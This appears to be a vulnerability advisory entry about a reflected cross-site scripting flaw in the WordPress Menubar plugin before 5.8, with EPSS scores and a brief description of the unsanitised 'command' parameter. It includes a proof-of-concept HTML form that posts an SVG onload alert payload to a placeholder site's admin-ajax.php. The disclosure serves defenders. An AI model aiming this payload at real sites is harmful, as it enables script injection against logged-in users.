Menubar < 5.8 - Reflected Cross-Site Scripting

2022-04-0400:00:00

p7e4

0.001 Low

EPSS

Percentile

24.8%

JSON

The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="menubar" />
      <input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

24.8%

JSON

Related for WPEX-ID:1C55FDA9-E938-4267-BE77-A6D73EE46AF3